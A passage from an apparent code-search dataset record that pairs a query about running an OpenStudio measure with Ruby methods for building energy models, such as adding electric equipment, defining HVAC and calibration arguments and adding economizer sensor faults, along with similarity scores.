Efficiency\n\t\tboiler_eff = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"boiler_eff\",false)\n\t\tboiler_eff.setDisplayName(\"Boiler Thermal Efficiency\")\n\t\tboiler_eff.setDefaultValue(0.9)\n\t\targs << boiler_eff\n\t\t\n\t\t# Boiler fuel Type\n\t\tfuel_choices = OpenStudio::StringVector.new\n\t\tfuel_choices << \"NaturalGas\"\n\t\tfuel_choices << \"PropaneGas\"\n\t\tfuel_choices << \"FuelOil#1\"\n\t\tfuel_choices << \"FuelOil#2\"\n\t\tfuel_choices << \"Electricity\"\n\t\tboiler_fuel_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"boiler_fuel_type\",fuel_choices,false) \n\t\tboiler_fuel_type.setDisplayName(\"Boiler Fuel Type\")\n\t\tboiler_fuel_type.setDefaultValue(\"NaturalGas\")\n\t\targs << boiler_fuel_type\n\t\t\n\t\t# boiler Hot water supply temperature\n\t\tboiler_hw_st = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"boiler_hw_st\",false)\n\t\tboiler_hw_st.setDisplayName(\"Boiler Design Heating Water Outlet Temperature (F)\")\n\t\tboiler_hw_st.setDefaultValue(120)\t\n\t\targs << boiler_hw_st\n\t\t\n\t\t# DOAS Fan Type\n\t\tdoas_fan_choices = OpenStudio::StringVector.new\n\t\tdoas_fan_choices << \"Constant\"\n\t\tdoas_fan_choices << \"Variable\"\n\t\tdoas_fan_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"doas_fan_type\",doas_fan_choices,true)\n\t\tdoas_fan_type.setDisplayName(\"DOAS Fan Flow Control - Variable means DCV controls\")\n\t\tdoas_fan_type.setDefaultValue(\"Variable\")\n\t\targs << doas_fan_type\n\t\t\n\t\t# DOAS Energy Recovery\n\t\terv_choices = OpenStudio::StringVector.new\n\t\terv_choices << \"plate w/o economizer lockout\"\n\t\terv_choices << \"plate w/ economizer lockout\"\n\t\terv_choices << \"rotary wheel w/o economizer lockout\"\n\t\terv_choices << \"rotary wheel w/ economizer lockout\"\n\t\terv_choices << \"none\"\n\t\tdoas_erv = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"doas_erv\",erv_choices,true)\n\t\tdoas_erv.setDisplayName(\"DOAS Energy Recovery?\")\n\t\tdoas_erv.setDefaultValue(\"none\")\n\t\targs << doas_erv\n\t\t\n\t\t# DOAS Evaporative Cooling\n\t\tevap_choices = OpenStudio::StringVector.new\n\t\tevap_choices << \"Direct Evaporative Cooler\"\n\t\tevap_choices << \"none\"\n\t\tdoas_evap = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"doas_evap\",evap_choices,true)\n\t\tdoas_evap.setDisplayName(\"DOAS Direct Evaporative Cooling?\")\n\t\tdoas_evap.setDefaultValue(\"none\")\n\t\targs << doas_evap\n\t\t\n\t\t# DOAS DX Cooling\n\t\tdoas_dx_eer = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"doas_dx_eer\",false)\n\t\tdoas_dx_eer.setDisplayName(\"DOAS DX Cooling EER\")\n\t\tdoas_dx_eer.setDefaultValue(10.0)\n\t\targs << doas_dx_eer\n\t\n # make an argument for material and installation cost\n # todo - I would like to split the costing out to the air loops weighted by area of building served vs. just sticking it on the building\n cost_total_hvac_system = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"cost_total_hvac_system\",true)\n cost_total_hvac_system.setDisplayName(\"Total Cost for HVAC System ($).\")\n cost_total_hvac_system.setDefaultValue(0.0)\n args << cost_total_hvac_system\n \n #make an argument to remove existing costs\n remake_schedules = OpenStudio::Ruleset::OSArgument::makeBoolArgument(\"remake_schedules\",true)\n remake_schedules.setDisplayName(\"Apply recommended availability and ventilation schedules for air handlers?\")\n remake_schedules.setDefaultValue(true)\n args << remake_schedules\n\n return args\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n # the name of the sql file\r\n csv_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_name\", true)\r\n csv_name.setDisplayName(\"CSV file name\")\r\n csv_name.setDescription(\"CSV file name.\")\r\n csv_name.setDefaultValue(\"mtr.csv\")\r\n args << csv_name\r\n \r\n csv_time_header = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_time_header\", true)\r\n csv_time_header.setDisplayName(\"CSV Time Header\")\r\n csv_time_header.setDescription(\"CSV Time Header Value.\")\r\n csv_time_header.setDefaultValue(\"Date/Time\")\r\n args << csv_time_header\r\n \r\n csv_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var\", true)\r\n csv_var.setDisplayName(\"CSV variable name\")\r\n csv_var.setDescription(\"CSV variable name\")\r\n csv_var.setDefaultValue(\"Whole Building:Facility Total Electric Demand Power [W](TimeStep)\")\r\n args << csv_var\r\n \r\n csv_var_dn = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var_dn\", true)\r\n csv_var_dn.setDisplayName(\"CSV variable display name\")\r\n csv_var_dn.setDescription(\"CSV variable display name\")\r\n csv_var_dn.setDefaultValue(\"\")\r\n args << csv_var_dn\r\n \r\n years = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"year\", true)\r\n years.setDisplayName(\"Year in csv data\")\r\n years.setDescription(\"Year in csv data => mm:dd:yy or mm:dd\")\r\n years.setDefaultValue(true)\r\n args << years\r\n \r\n seconds = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"seconds\", true)\r\n seconds.setDisplayName(\"Seconds in csv data\")\r\n seconds.setDescription(\"Seconds in csv data => hh:mm:ss or hh:mm\")\r\n seconds.setDefaultValue(true)\r\n args << seconds\r\n \r\n sql_key = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_key\", true)\r\n sql_key.setDisplayName(\"SQL key\")\r\n sql_key.setDescription(\"SQL key\")\r\n sql_key.setDefaultValue(\"\")\r\n args << sql_key \r\n\r\n sql_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_var\", true)\r\n sql_var.setDisplayName(\"SQL var\")\r\n sql_var.setDescription(\"SQL var\")\r\n sql_var.setDefaultValue(\"Facility Total Electric Demand Power\")\r\n args << sql_var \r\n \r\n stp = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"stp\", true)\r\n stp.setDisplayName(\"Timeseries Timestep\")\r\n stp.setDescription(\"Timeseries Timestep\")\r\n stp.setDefaultValue(\"Zone Timestep\")\r\n args << stp\r\n \r\n env = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"env\", true)\r\n env.setDisplayName(\"availableEnvPeriods\")\r\n env.setDescription(\"availableEnvPeriods\")\r\n env.setDefaultValue(\"RUN PERIOD 1\")\r\n args << env\r\n \r\n norm = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"norm\", true)\r\n norm.setDisplayName(\"norm of the difference of csv and sql\")\r\n norm.setDescription(\"norm of the difference of csv and sql\")\r\n norm.setDefaultValue(1)\r\n args << norm \r\n\r\n scale = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"scale\", true)\r\n scale.setDisplayName(\"scale factor to apply to the difference\")\r\n scale.setDescription(\"scale factor to apply to the difference\")\r\n scale.setDefaultValue(1)\r\n args << scale \r\n\r\n find_avail = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"find_avail\", true)\r\n find_avail.setDisplayName(\"find_avail\")\r\n find_avail.setDescription(\"find_avail\")\r\n find_avail.setDefaultValue(true)\r\n args << find_avail \r\n\r\n compute_diff = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"compute_diff\", true)\r\n compute_diff.setDisplayName(\"compute_diff\")\r\n compute_diff.setDescription(\"compute_diff\")\r\n compute_diff.setDefaultValue(true)\r\n args << compute_diff\r\n \r\n verbose_messages = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"verbose_messages\", true)\r\n verbose_messages.setDisplayName(\"verbose_messages\")\r\n verbose_messages.setDescription(\"verbose_messages\")\r\n verbose_messages.setDefaultValue(true)\r\n args << verbose_messages \r\n \r\n algorithm_download = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"algorithm_download\", true)\r\n algorithm_download.setDisplayName(\"algorithm_download\")\r\n algorithm_download.setDescription(\"algorithm_download\")\r\n algorithm_download.setDefaultValue(false)\r\n args << algorithm_download \r\n \r\n plot_flag = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"plot_flag\", true)\r\n plot_flag.setDisplayName(\"plot_flag timeseries data\")\r\n plot_flag.setDescription(\"plot_flag timeseries data\")\r\n plot_flag.setDefaultValue(true)\r\n args << plot_flag\r\n \r\n plot_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"plot_name\", true)\r\n plot_name.setDisplayName(\"Plot name\")\r\n plot_name.setDescription(\"Plot name\")\r\n plot_name.setDefaultValue(\"\")\r\n args << plot_name\r\n \r\n warning_messages = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"warning_messages\", true)\r\n warning_messages.setDisplayName(\"warning_messages\")\r\n warning_messages.setDescription(\"warning_messages\")\r\n warning_messages.setDefaultValue(false)\r\n args << warning_messages\r\n\r\n return args\r\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # the name of the space to add to the model\n setpoint = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"setpoint_temperature\", true)\n setpoint.setUnits(\"Degrees Celsius\")\n setpoint.setDisplayName(\"Ambient Loop Temperature\")\n setpoint.setDefaultValue(20)\n setpoint.setDescription(\"Temperature setpoint for the ambient loop\")\n args << setpoint\n\n delta = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"design_delta\", true)\n delta.setUnits(\"Delta Temperature\")\n delta.setDefaultValue(5.55) # 10 Deg F default delta\n delta.setDisplayName(\"Delta Design Loop Temperature\")\n delta.setDescription(\"Delta design temperature for the ambient loop\")\n args << delta\n\n return args\n end",
"def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def print_two_again(arg1, arg2) # Non-variable list of inputs it will accept\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def commander _args\n \"commander _args;\" \n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make a string argument for furnace fuel type\n fuel_display_names = OpenStudio::StringVector.new\n fuel_display_names << Constants.FuelTypeGas\n fuel_display_names << Constants.FuelTypeOil\n fuel_display_names << Constants.FuelTypePropane\n fuel_display_names << Constants.FuelTypeElectric\n fuel_type = OpenStudio::Measure::OSArgument::makeChoiceArgument('fuel_type', fuel_display_names, true)\n fuel_type.setDisplayName('Fuel Type')\n fuel_type.setDescription('Type of fuel used for heating.')\n fuel_type.setDefaultValue(Constants.FuelTypeGas)\n args << fuel_type\n\n # make an argument for entering furnace installed afue\n afue = OpenStudio::Measure::OSArgument::makeDoubleArgument('afue', true)\n afue.setDisplayName('Installed AFUE')\n afue.setUnits('Btu/Btu')\n afue.setDescription('The installed Annual Fuel Utilization Efficiency (AFUE) of the furnace, which can be used to account for performance derating or degradation relative to the rated value.')\n afue.setDefaultValue(0.78)\n args << afue\n\n # make an argument for entering furnace installed supply fan power\n fan_power_installed = OpenStudio::Measure::OSArgument::makeDoubleArgument('fan_power_installed', true)\n fan_power_installed.setDisplayName('Installed Supply Fan Power')\n fan_power_installed.setUnits('W/cfm')\n fan_power_installed.setDescription('Fan power (in W) per delivered airflow rate (in cfm) of the indoor fan for the maximum fan speed under actual operating conditions.')\n fan_power_installed.setDefaultValue(0.5)\n args << fan_power_installed\n\n # make a string argument for furnace heating output capacity\n capacity = OpenStudio::Measure::OSArgument::makeStringArgument('capacity', true)\n capacity.setDisplayName('Heating Capacity')\n capacity.setDescription(\"The output heating capacity of the furnace. If using '#{Constants.SizingAuto}', the autosizing algorithm will use ACCA Manual S to set the capacity.\")\n capacity.setUnits('kBtu/hr')\n capacity.setDefaultValue(Constants.SizingAuto)\n args << capacity\n\n # make a string argument for distribution system efficiency\n dse = OpenStudio::Measure::OSArgument::makeStringArgument('dse', true)\n dse.setDisplayName('Distribution System Efficiency')\n dse.setDescription('Defines the energy losses associated with the delivery of energy from the equipment to the source of the load.')\n dse.setDefaultValue('NA')\n args << dse\n\n # make a bool argument for open hvac flue\n has_hvac_flue = OpenStudio::Measure::OSArgument::makeBoolArgument('has_hvac_flue', true)\n has_hvac_flue.setDisplayName('Air Leakage: Has Open HVAC Flue')\n has_hvac_flue.setDescription('Specifies whether the building has an open flue associated with the HVAC system.')\n has_hvac_flue.setDefaultValue(true)\n args << has_hvac_flue\n\n return args\n end",
"def args\n @args\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n return args\n end",
"def default_args(a,b,c=1)\n puts \"\\nValues of variables: \",a,b,c\nend",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n \n \t#Make a string argument for 24 weekday cooling set point values\n clg_wkdy = OpenStudio::Measure::OSArgument::makeStringArgument(\"clg_wkdy\", false)\n clg_wkdy.setDisplayName(\"Weekday Setpoint\")\n clg_wkdy.setDescription(\"Specify a single cooling setpoint or a 24-hour comma-separated cooling schedule for the weekdays.\")\n clg_wkdy.setUnits(\"degrees F\")\n clg_wkdy.setDefaultValue(\"76\")\n args << clg_wkdy \n \n \t#Make a string argument for 24 weekend cooling set point values\n clg_wked = OpenStudio::Measure::OSArgument::makeStringArgument(\"clg_wked\", false)\n clg_wked.setDisplayName(\"Weekend Setpoint\")\n clg_wked.setDescription(\"Specify a single cooling setpoint or a 24-hour comma-separated cooling schedule for the weekend.\")\n clg_wked.setUnits(\"degrees F\")\n clg_wked.setDefaultValue(\"76\")\n args << clg_wked\t\n\t\n return args\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n # this measure does not require any user arguments, return an empty list\n return args\n end"
] | [
"0.73753476",
"0.73753476",
"0.73753476",
"0.70890766",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.7008301",
"0.68296087",
"0.6826596",
"0.67602986",
"0.67480284",
"0.6589929",
"0.6581451",
"0.6579882",
"0.65468127",
"0.6503042",
"0.647451",
"0.64706385",
"0.64699155",
"0.6469245",
"0.64641875",
"0.64103556",
"0.6389132",
"0.637863",
"0.6374086",
"0.6373223",
"0.63639134",
"0.6358853",
"0.6347805",
"0.63475585",
"0.63470906",
"0.6329135",
"0.63280094",
"0.62932867",
"0.6289945",
"0.6271416",
"0.6257277",
"0.6257238",
"0.6239814",
"0.6235555",
"0.62354916",
"0.6221531",
"0.6221531",
"0.6221531",
"0.62026656",
"0.61958784",
"0.61795026",
"0.61696565",
"0.6168981",
"0.6167551",
"0.6165484",
"0.6161183",
"0.6146112",
"0.6128867",
"0.611614",
"0.6099537",
"0.609091",
"0.608763",
"0.6082464",
"0.60754794",
"0.6075173",
"0.60703015",
"0.6069249",
"0.6053929",
"0.60461015",
"0.6037139",
"0.6037139",
"0.603555",
"0.6028014",
"0.60276234",
"0.6026254",
"0.6021278",
"0.6006005",
"0.60050625",
"0.60002536",
"0.5998068",
"0.5990844",
"0.5986098",
"0.59826887",
"0.59739846",
"0.59692407",
"0.59684443",
"0.5966365",
"0.59595567"
] | 0.0 | -1 |
define what happens when the measure is run | def run(model, runner, user_arguments)
super(model, runner, user_arguments)
# use the built-in error checking
if !runner.validateUserArguments(arguments(model), user_arguments)
return false
end
# assign the user inputs to variables
space = runner.getOptionalWorkspaceObjectChoiceValue('space',user_arguments, model)
elec_equip_def = runner.getOptionalWorkspaceObjectChoiceValue('elec_equip_def',user_arguments, model)
schedule = runner.getOptionalWorkspaceObjectChoiceValue('schedule',user_arguments, model)
multiplier = runner.getDoubleArgumentValue("multiplier", user_arguments)
# check arguments for reasonableness
space = OsLib_HelperMethods.checkOptionalChoiceArgFromModelObjects(space, "elec_equip_def","to_Space", runner, user_arguments)
if space == false then return false else space = space["modelObject"] end
elec_equip_def = OsLib_HelperMethods.checkOptionalChoiceArgFromModelObjects(elec_equip_def, "elec_equip_def","to_ElectricEquipmentDefinition", runner, user_arguments)
if elec_equip_def == false then return false else elec_equip_def = elec_equip_def["modelObject"] end
schedule = OsLib_HelperMethods.checkOptionalChoiceArgFromModelObjects(schedule, "elec_equip_def","to_Schedule", runner, user_arguments)
if schedule == false then return false else schedule = schedule["modelObject"] end
if multiplier <= 0
runner.registerError("Please choose a multiplier value greater than 0")
return false
end
# report initial condition of model
runner.registerInitialCondition("The building started with #{model.getElectricEquipments.size} electric equipment instances.")
# create and populate instance
elec_equip = OpenStudio::Model::ElectricEquipment.new(elec_equip_def)
elec_equip.setSpace(space)
elec_equip.setSchedule(schedule)
elec_equip.setMultiplier(multiplier)
# report final condition of model
runner.registerFinalCondition("The building finished with #{model.getElectricEquipments.size} electric equipment instances.")
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def measure; end",
"def measure=(_arg0); end",
"def measure\n\t\t1\n\tend",
"def measure(*args, &b)\n end",
"def communicate_measure_result(_ = nil, _ = nil); end",
"def communicate_measure_result(_ = nil, _ = nil); end",
"def called\n self.measurement.called\n end",
"def measure\n start = Time.now\n yield\n Time.now - start\n end",
"def measure\n start = Time.now\n yield\n Time.now - start\n end",
"def measure\n Measure.new(1, self)\n end",
"def measurement(n)\n @options[:before_hook].call(n)\n measure = measure(n, &@options[:fn])\n @options[:after_hook].call(n)\n measure\n end",
"def measure\n Measure.new(@counter+=1)\n end",
"def communicate_measure_result(_ = nil, _ = nil)\r\n end",
"def benchmark\nend",
"def calculated; end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def run()\n\t\tputs \"#{@name} ran for #{@meters} meters in #{self.getTimeLapse} seconds\"\n\t\t# chiama funzione per stampare quante volte ha respirato\n\t\tself.breathe\n\tend",
"def runs; end",
"def statistics; end",
"def medical_use; end",
"def measure\n start_real = System.monotonic_time\n start_cpu = System.cpu_time\n retval = yield\n\n real_time = System.monotonic_time - start_real\n cpu_time = System.cpu_time - start_cpu\n\n @real_time += real_time\n @cpu_time += cpu_time\n @call_count += 1\n\n if call_measurement_enabled? && above_threshold?\n self.class.call_duration_histogram.observe(@transaction.labels.merge(labels), real_time / 1000.0)\n end\n\n retval\n end",
"def stats; end",
"def stats; end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n percent_runtime_reduction = runner.getDoubleArgumentValue(\"percent_runtime_reduction\",user_arguments)\n\n \n \n # Check arguments for reasonableness\n if percent_runtime_reduction >= 100\n runner.registerError(\"Percent runtime reduction must be less than 100.\")\n return false\n end\n\n # Find all the original schedules (before occ sensors installed)\n original_lts_schedules = []\n model.getLightss.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end \n\n # Make copies of all the original lights schedules, reduced to include occ sensor impact\n original_schs_new_schs = {}\n original_lts_schedules.uniq.each do |orig_sch|\n # Copy the original schedule\n new_sch = orig_sch.clone.to_ScheduleRuleset.get\n new_sch.setName(\"#{new_sch.name.get} with occ sensor\")\n # Reduce each value in each profile (except the design days) by the specified amount\n runner.registerInfo(\"Reducing values in '#{orig_sch.name}' schedule by #{percent_runtime_reduction}% to represent occ sensor installation.\")\n day_profiles = []\n day_profiles << new_sch.defaultDaySchedule\n new_sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n multiplier = (100 - percent_runtime_reduction)/100\n day_profiles.each do |day_profile|\n #runner.registerInfo(\"#{day_profile.name}\")\n times_vals = day_profile.times.zip(day_profile.values)\n #runner.registerInfo(\"original time/values = #{times_vals}\")\n times_vals.each do |time,val|\n day_profile.addValue(time, val * multiplier)\n end\n #runner.registerInfo(\"new time/values = #{day_profile.times.zip(day_profile.values)}\")\n end \n #log the relationship between the old sch and the new, reduced sch\n original_schs_new_schs[orig_sch] = new_sch\n end\n \n # Replace the old schedules with the new, reduced schedules\n spaces_sensors_added_to = []\n model.getLightss.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n \n # Report if the measure is not applicable\n num_sensors_added = spaces_sensors_added_to.uniq.size\n if spaces_sensors_added_to.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no lights in the building.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Added occupancy sensors to #{num_sensors_added} spaces in the building.\")\n\n return true\n\n end",
"def run\n\t\t\tsummary\n\t\tend",
"def quick_stats\n\tend",
"def stats\n \n end",
"def benchmark(reporter); end",
"def stats\n end",
"def stats\n end",
"def measure(name, &block)\n if self.running? name\n yield\n else\n result = nil\n self.results[name] ||= 0\n self.running << name\n self.results[name] += Benchmark.measure{result = yield}.real\n self.running.delete(name)\n result\n end\n end",
"def measure\n start_real = System.monotonic_time\n start_cpu = System.cpu_time\n retval = yield\n\n real_time = System.monotonic_time - start_real\n cpu_time = System.cpu_time - start_cpu\n\n @real_time += real_time\n @cpu_time += cpu_time\n @call_count += 1\n\n if above_threshold?\n self.class.gitlab_method_call_duration_seconds.observe(@transaction.labels.merge(labels), real_time)\n end\n\n retval\n end",
"def measure_code(model,runner)\n measure_folder = \"#{File.dirname(__FILE__)}/\"\n baseline_spreadsheet = \"#{File.dirname(__FILE__)}/baseline.csv\"\n #Note: place output folder locally to run faster! (e.g. your C drive)\n output_folder = \"#{File.dirname(__FILE__)}/tests/output\"\n create_models = true\n simulate_models = true\n create_annual_outputs = true\n create_hourly_outputs = true\n #This creates the measures object and collects all the csv information for the\n # measure_id variant.\n csv_measures = BTAP::Measures::CSV_OS_Measures.new(\n baseline_spreadsheet,\n measure_folder#script root folder where all the csv relative paths are used.\n )\n csv_measures.create_cold_lake_vintages(output_folder) unless create_models == false\n BTAP::SimManager::simulate_all_files_in_folder(output_folder) unless simulate_models == false\n BTAP::Reporting::get_all_annual_results_from_runmanger(output_folder) unless create_annual_outputs == false\n #convert eso to csv then create terminus file.\n BTAP::FileIO::convert_all_eso_to_csv(output_folder, output_folder).each {|csvfile| BTAP::FileIO::terminus_hourly_output(csvfile)} unless create_hourly_outputs == false\n\n end",
"def cpu_metrics\n super\n end",
"def instrument; end",
"def profiler; end",
"def profiler; end",
"def setup\n\t\n # create an instance of the measure\n @measure = VentilationQAQC.new\n \n #create an instance of the runner\n @runner = OpenStudio::Ruleset::OSRunner.new\t\n\t\n # get arguments \n @arguments = @measure.arguments()\n\n # make argument map\n make_argument_map\n\t\n # Make an empty model\n @model = OpenStudio::Model::Model.new\n\[email protected](@model)\n\t\n\t# Create a fake sql file - our measure will crash if @runner has no sql file set.\n\t# We don't get data from this file because we get data from our patched SqlFile class instead (see above)\n\tsqlFile = OpenStudio::SqlFile.new(OpenStudio::Path.new(sqlPath))\n\[email protected](OpenStudio::Path.new(sqlPath))\n\t\n\t$serieses[\"Zone Mechanical Ventilation Mass Flow Rate|ZONE1\"] = OpenStudio::TimeSeries.new(OpenStudio::Date.new, OpenStudio::Time.new(1.0), (0..364).to_a.to_vector, \"m^3/s\")\n end",
"def monitor(*args, &bl)\n result = nil\n took = Benchmark.realtime {\n result = bl.call\n }\n Tools.info(args, op_took: took)\n result\n end",
"def measure_code(model,runner)\n ################ Start Measure code here ################################\n \n #Check weather directory Weather File\n unless (Pathname.new @lib_directory).absolute?\n @lib_directory = File.expand_path(File.join(File.dirname(__FILE__), @lib_directory))\n end\n lib_file = File.join(@lib_directory, @lib_file_name)\n if File.exists?(lib_file) and @lib_file_name.downcase.include? \".osm\"\n BTAP::runner_register(\"Info\",\"#{@lib_file_name} Found!.\", runner)\n else\n BTAP::runner_register(\"Error\",\"#{lib_file} does not exist or is not an .osm file.\", runner)\n return false\n end\n \n #load model and test.\n construction_set = BTAP::Resources::Envelope::ConstructionSets::get_construction_set_from_library( lib_file, @construction_set_name )\n #Set Construction Set.\n unless model.building.get.setDefaultConstructionSet( construction_set.clone( model ).to_DefaultConstructionSet.get )\n BTAP::runner_register(\"Error\",\"Could not set Default Construction #{@construction_set_name} \", runner)\n return false\n end\n BTAP::runner_register(\"FinalCondition\",\"Default Construction set to #{@construction_set_name} from #{lib_file}\",runner)\n ##########################################################################\n return true\n end",
"def run(workspace, runner, user_arguments)\n super(workspace, runner, user_arguments)\n\n # use the built-in error checking \n if !runner.validateUserArguments(arguments(workspace), user_arguments)\n return false\n end\n \n # Report that this is an anti-measure\n runner.registerValue('anti_measure',true) \n \n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n\t# Initialize counter variables\n\tno_economizer = 0\n\tfixed_dry_bulb = 0\n\tdifferential_dry_bulb = 0\t\n\tfixed_enthalpy = 0\n\tdifferential_enthalpy = 0\n\tfixed_dew_point_and_dry_bulb = 0\n\telectronic_enthalpy = 0\n\tdifferential_dry_bulb_and_enthalpy = 0\n\t\n\t# Retrieve all Controller:Outdoor air objects in the idf \t\n\toa_controllers = workspace.getObjectsByType(\"Controller:OutdoorAir\".to_IddObjectType)\n\t\n\t# Get the names of each Controller:Outdoor Air object\n\toa_controllers.each do |oa_controller|\n\n\t\toa_controller_name = oa_controller.getString(0).to_s #(0) is field Name\n\t\toa_controller_economizer_control_type = oa_controller.getString(7).to_s #(7) is field Economizer Control Type\n\t\n\t\t# test for presence No economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"NoEconomizer\" # or empty\n\t\t\trunner.registerInfo(\"The Controller:Outdoor air object named #{oa_controller_name} has a disabled airside economizer. Economizer sensor faults will not be added.\")\n\t\t\tno_economizer = no_economizer + 1\n\t\tend\n\t\t\n\t\t# test for presence of differential dry bulb economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"DifferentialDryBulb\"\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir \n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\tdifferential_dry_bulb = differential_dry_bulb + 1\n\t\t\t# info message\n\t\t\trunner.registerInfo(\"To model dry bulb sensor drift, a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg F has been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\t\n\n\t\tend # OA Controller Type DifferentialDryBulb\n\n\t\t# test for presence of fixed dry bulb economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"FixedDryBulb\"\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, 